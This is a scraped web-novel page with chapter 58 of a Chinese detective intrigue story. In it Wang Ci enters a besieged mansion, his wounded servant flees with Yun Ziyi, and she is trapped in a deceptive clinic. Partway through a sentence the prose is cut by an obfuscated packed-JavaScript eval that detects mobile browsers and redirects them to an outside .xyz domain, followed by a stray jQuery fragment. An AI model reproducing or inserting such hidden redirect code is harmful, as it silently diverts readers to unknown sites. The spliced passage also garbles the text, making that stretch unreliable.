58. 第 58 章

作品:《稽察司探案录

    他的话落,云紫怡瞳孔颤了颤。


    明明还在仲夏时节,天色到戌时都不会黑透,窗外应正是蝉鸣四起,热浪灼人的时候。


    可就在人们心神不宁、无暇顾及之时,一丝黑云悄然爬上晴朗的天空,不多时,俨然有了要遮天蔽日之势。


    黑云翻滚成浪,蝉鸣仿佛在一瞬间被掐灭,池中的鱼儿仰头挤向水面,大口大口地呼吸着,宛若溺水之人最后的挣扎。


    屋子眨眼间被笼罩在半明半昧之中。


    逆着光线,她有些看不清王慈脸上的表情,只觉潮湿黏腻到让人喘不过气的空气,正透过门缝、窗缝、无孔不入,挤压着她的呼吸空间,叫她心脏揪起来。


    “啪!”


    火石点燃了桌上的一盏油灯。


    火苗跳跃着,燃烧着,光亮温暖一隅,好像也将周围的一点空气烘干了。


    王慈将灯台朝她那里推了推。


    “信中来问我要一样东西。


    房中找到了一个双层机关匣。第一层中放着盖有我官印的亲笔信,第二层机关精巧复杂,三波人都看过,没有人能打开。”


    “三波人都看过?”那宫里的人应当是晚了一步。


    “太后的人第二个到场的,第一个到的是……程家的人。”


    程家人到底来凑的什么热闹?而且要论同盟关系,太后与那帮人才是同一战线上的,怎的程家人竟比太后还抢了先?


    虽然此事处处透露着可疑,但眼下也顾不了那么多了,先解决这无中生有的匣子和信才是首要之事。


    云紫怡柳眉微蹙,“圣上这是在试探你?”


    毕竟他们是最后一方赶到的,也无法确定匣子是一早就在,还是由先前两头人放上,用以泼脏水的。


    王慈回答道,眼中闪过一丝若有所思,“盖了官印的亲笔信,应当是处理司内事务时书写的,但此类信件一应都会由专门的库房回收放置,不应该出现在别处。”


    “拿到此种信件的难度如何?”


    “难度可大可小。”王慈思索道,“无关人等无权进入库房,但司内的司吏畅通无阻。”


    稽察司在上京是令人闻风丧胆的存在,不会有不知名的小贼胆敢擅闯,其他官宦人家又越不过稽察司的地位,但若说司内出了背叛者……


    云紫怡垂眸,“宫里没就信件内容追问,想必上面写的东西不重要,那只是将你拉入局的噱头。”


    “既然如此,那我们提前出发?”她询问。


    原本他们打算不参与其中,以降低自己身上的关注度,但眼下都搜出来指名道姓的东西了,没有理由再去置身事外。


    只是以何种身份,何种理由介入,这又是一个令人头疼的问题。


    王慈没有做声,只是又一次将羽箭传来的纸张检查一遍。


    是普通的竹纸,但细闻之下有宫中特制熏香的气味,这信不是从现场送来的,而是出自宫中。


    纸张上下折叠,上面墨迹未干,不慎沾染到另一半纸上,说明一落笔便快马加鞭送来了。


    从宫中去云阳伯府,骑马所需不过半刻钟,密信送到后须观察两分确认情况,而他们方才讨论耽搁了三分左右……


    两相计算一下,王慈喊来春华,“抄近路去轩宇坊附近,把人截回来。”


    云紫怡愣愣地看人忽然施令捉人,自己却又不在此等候,而是叫人去备车取夜行衣,一副要立马就走的样子。


    一眨眼的功夫两边都来报,一边说人带回来了,一边说东西准备好了。


    王慈吩咐下去将人好生招待,但不准离府,又将送来的东西递给云紫怡,“换好后我们即刻出发。”


    从云阳伯府至城郊的宅子,乘马车原本要花上好些功夫,但不知是不是因为暴雨将至的缘故,大道上空空如也,连路边的摊位木车都收走了。


    车轮飞速碾过一块碎裂的石板,车身猛烈晃动,云紫怡身子没稳住,眼看额角就要撞上凸起的窗框。


    下一刻一只有力的大手扶住她的脑袋,垫在侧脸与窗框之间。


    她只觉跌入一阵清冽的松竹气息之中,再回神,王慈已经淡淡将左手收回。


    一瞬的热意触感很快消弭在空气中,云紫怡反应过来,“谢谢,手没事吧?”


    对方轻轻摇头。


    一路畅通无阻,约莫只用了两盏茶功夫,马车就驶入了那片屋宅群。


    云紫怡整理了一下,作势要下去,才刚刚起身,肩膀就被王慈按住。


    “你暂且留在车中等候。”


    “为什么?”她诧异道。


    从前他们危险案子没少破,这还是第一次不准她参与现场。


    王慈墨色的眼眸注视着她,目光中竟藏有一丝不易察觉的忧惧。


    “三方力量抢夺,慢一瞬便可能满盘皆输,从赵大鹏私宅来回传消息到宫中太耗费时间,实在不是明智之举,因此现在此地很可能已经被宫里来的人控制住了。


    介时情况恐瞬息万变,我无法保证能够全身而退,亦害怕他们将一切推脱到你身上,所以想叫你尽量避免直接参与此事。


    我暗中留了人在外面保护你,若遇到了解决不了的谜题,我会叫春华与你传信。”


    “若是……”他垂下眸子,“若我无法顺利脱身,便会向外传达一道指令,春华会将你送回府中,介时你再向家中求援。”


    “记住,千万不可流连。”他声音沉沉。


    云紫怡有一瞬间几乎想要开口拒绝。但她知晓,王慈的安排是最佳选择。


    因此她只能轻声应了句,“好。”


    天色早已昏沉了下来,黑云翻涌沉压,啪嗒,啪嗒,开始落雨了。


    雨点很大,但下得不是特别急,打在马车的窗户上声声作响,映衬地车内愈发安静。


    王慈深吸一口气,起身掀帘下车,他没有撑伞,雨滴一瞬间消融在他的肩头,留下一点深深的水渍。


    在车帘完全落下的前一秒,他听见车内传来一声,“早点回来。”


    ……


    云紫怡没敢一直掀帘张望。


    只在一开始王慈下车后,偷偷顺着没拉好的缝隙,远远看了一眼他离去的背影。


    有一身着光亮铁甲之人在门口接应他,那人目光如鹰,瞬间向马车的方向扫过。


    云紫怡闪身回避,迅速退到帘缝另一侧,无声将自己隐藏在视线死角之中。


    那人目光巡回几次,或许是没有发现异样,或许是被王慈出声打断,很快便转身离去。


    接下来便是漫长的,忐忑的等待。


    窗外的雨忽急忽缓,不时有闷雷滑过天际,宅子外守着一队士兵,看模样应是殿前司的,任雨水在闪亮的铁甲上冲刷,顺着脸庞下颌滑落,依旧站立如松,目不斜视。


    潮湿的空气再一次


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16035097|175986||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    涌入,马车空间狭小不透气,云紫怡指尖无意识抓挠过桌案,她忽然有些想念王慈点燃的那盏灯烛。


    很快天已经完全黑沉下来,是即将入夜的那种黑沉。


    云紫怡不知已经何时了,但她觉得时间过得有些久了。


    纤细的指尖触碰上车帘,她在心中默数十个数,数完她就飞速扯开一道缝看一眼。


    这套流程在今日下午已经上演过无数次,她只又一次无声倒计时。


    “六,五,四,三……”指尖开始蓄力,力道要不大不小,帘子晃动的幅度千万不能被对面察觉——


    “啪!”


    突如其来的声音让云紫怡愣住。


    马鞭挥动的声音破空而来,紧接着一声嘶鸣,马车竟是突然开始往前飞奔!


    巨大的惯性力让她狠狠往后摔去,肩膀直接撞上了榻上放着的木盒一角。


    顾不得几乎传遍半边身子的痛麻,她一把拉开车帘,焦急出声。


    “王……”


    大雨噼里啪啦往脸上泼,淋地人睁不开眼,但她还是看清楚了。


    外头哪里是王慈?


    宛若从血水里捞出来的春华牵着缰绳坐在雨中,浑身没一块好肉,后背一道深可见骨的刀伤,皮肉外翻。


    云紫怡几乎失声扑到他身旁。


    春华转过头来,发丝被血水黏在脸上,瞳孔渐渐失去焦距。


    “里面……程家人。”


    他断断续续凸出一句破碎的话,鲜血不断从口中溢出。


    云紫怡手忙脚乱去擦,去堵,可伤口满身,她只有两只手。


    面前的少年浑身滚烫,已经发起高烧,再这么淋下去,恐怕不等伤口溃烂,首先就得烧死。


    马车一拐,云紫怡眼尖地瞧见右前方一家诊堂,不顾春华虚弱的劝阻,她毅然勒住马,带人敲开了诊堂的大门。


    来开门的是一个华发老者,见两人浑身湿透,满身血污,以为是哪道歹人,吓得没直接跌倒在地。


    老者哆哆嗦嗦扯着门,想要推脱今日大夫不在,哪成想云紫怡一巴掌杵在门上,说什么也要进门。


    “我来治,你提供药材,诊金我们出两倍给你。”


    老者听见两倍诊金,悄悄咽了口唾沫,又瞧见奄奄一息的是男人,陪着的是个看起来瘦弱的小姑娘,再三犹豫之下,还是心一横将人放进来了。


    小诊堂许是往日只看一些头疼脑热之类的病症,药柜里没两样东西。老者不好意思地挠挠头,说后头还有稀罕东西,只不过要出三倍价格。


    云紫怡痛快地应下,叫他在前面带路,自己则悄悄摸上了腰间别着的迷魂粉。


    一条走廊长到一眼望不到头,只拐了一次弯,接着便一路走到底。


    这种临街铺子有这么深吗?她皱了皱眉。


    前面老者步伐依旧不疾不徐,云紫怡又跟着走了两步,忽然面色一变。


    方才见春华一身伤,一下有些慌神,如今冷静下来才察觉到,他们看似走了一段路,实际正绕了个半圈,这间药铺正好处在赵大鹏私宅的正后方。


    云紫怡劈手将迷魂粉撒向面前之人,但那老者仿佛背后长了眼睛一般,一瞬间向一旁侧身,同时展现出了与年纪截然不同的身手。


    他一个侧空翻,眨眼间蹦到了几步之外,回身笑着开口。


    “真聪明呐,不过你是否有点心急了些?”